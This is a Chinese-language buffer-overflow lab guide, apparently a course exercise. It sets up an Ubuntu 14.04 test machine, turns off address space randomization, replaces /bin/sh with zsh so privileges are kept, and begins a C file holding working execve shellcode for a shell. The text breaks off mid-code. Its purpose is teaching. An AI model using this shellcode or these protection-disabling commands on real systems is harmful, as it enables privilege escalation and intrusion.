**测试环境**:
系统:Ubuntu 14.04
内核:Linux 3.13.0-24
GCC版本:4.8.4
SSH版本:OpenSSH_6.6.1
虚拟机:Parallels Desktop 11.0.1
实验准备
因为使用32位机多次实验没有成功,所以改用64位机的32位gcc编译系统来测试。
安装编译32位C语言的gcc编译器。
sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386
sudo apt-get install lib32readline-gplv2-dev
关闭地址空间随机化
你可以使用已经配置好Ubuntu的机器来完成本次实验。在Ubuntu 和其它基于Linux 内核的系统中,目前都使用内存地址随机化的机制来初始化堆栈,这将会使得猜测具体的内存地址变得十分困难,所以在本试验中,用下列命令关闭内存随机化机制:
sudo sysctl -w kernel.randomize_va_space=0
将zsh指向sh
为了进一步防止缓冲区溢出攻击和其他使用shell程序的攻击,许多shell程序在调用时自动放弃特权。因此,即使你可以在“傻瓜”特权Set-UID程序调用shell,你可能无法保留shell内的特权。这种保护计划实现在/bin/bash中。在Ubuntu中,/bin/sh实际上是到/bin/bash的一个符号链接。在这样的保护计划被实施之前,我们使用另一个shell程序(zsh)来取代/bin/bash。预配置好的Ubuntu虚拟机包含一个安装好的zsh。如果你使用的是默认条件下不包含zsh的其他Linux系统,你必须安装zsh来完成这个实验。
sudo rm /bin/sh
sudo ln -s /bin/zsh /bin/sh
实验代码准备:验证Shallcode能跳转到zsh
首先创建一个C语言文件call_shallcode.c
,并把我们需要添加的代码添加进去:
/* call_shellcode.c*/
/*A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
const char code[] =
"\x31\xc0" /* Line 1: xorl %eax,%eax */
"\x50" /* Line 2: pushl %eax */
"\x68""//sh" /* Line 3: pushl %0x68732f2f */
"\x68""/bin" /* Line 4: pushl %0x6e69622f */
"\x89\xe3" /* Line 5: movl %esp,%ebx */
"\x50" /* Line 6: pushl %eax */
"\x53" /* Line 7: pushl %ebx */
"\x89\xe1" /* Line 8: movl %esp,%ecx */
"\x99" /* Line 9: cdql */
"\xb0\x0b" /* Line10: movb $0x0b,%al */
"\xcd\x80" /* Line11: int $0x80 */
;
int main(int argc, char **argv)
{
char buf[sizeof(code)];
strcpy(buf, code);
((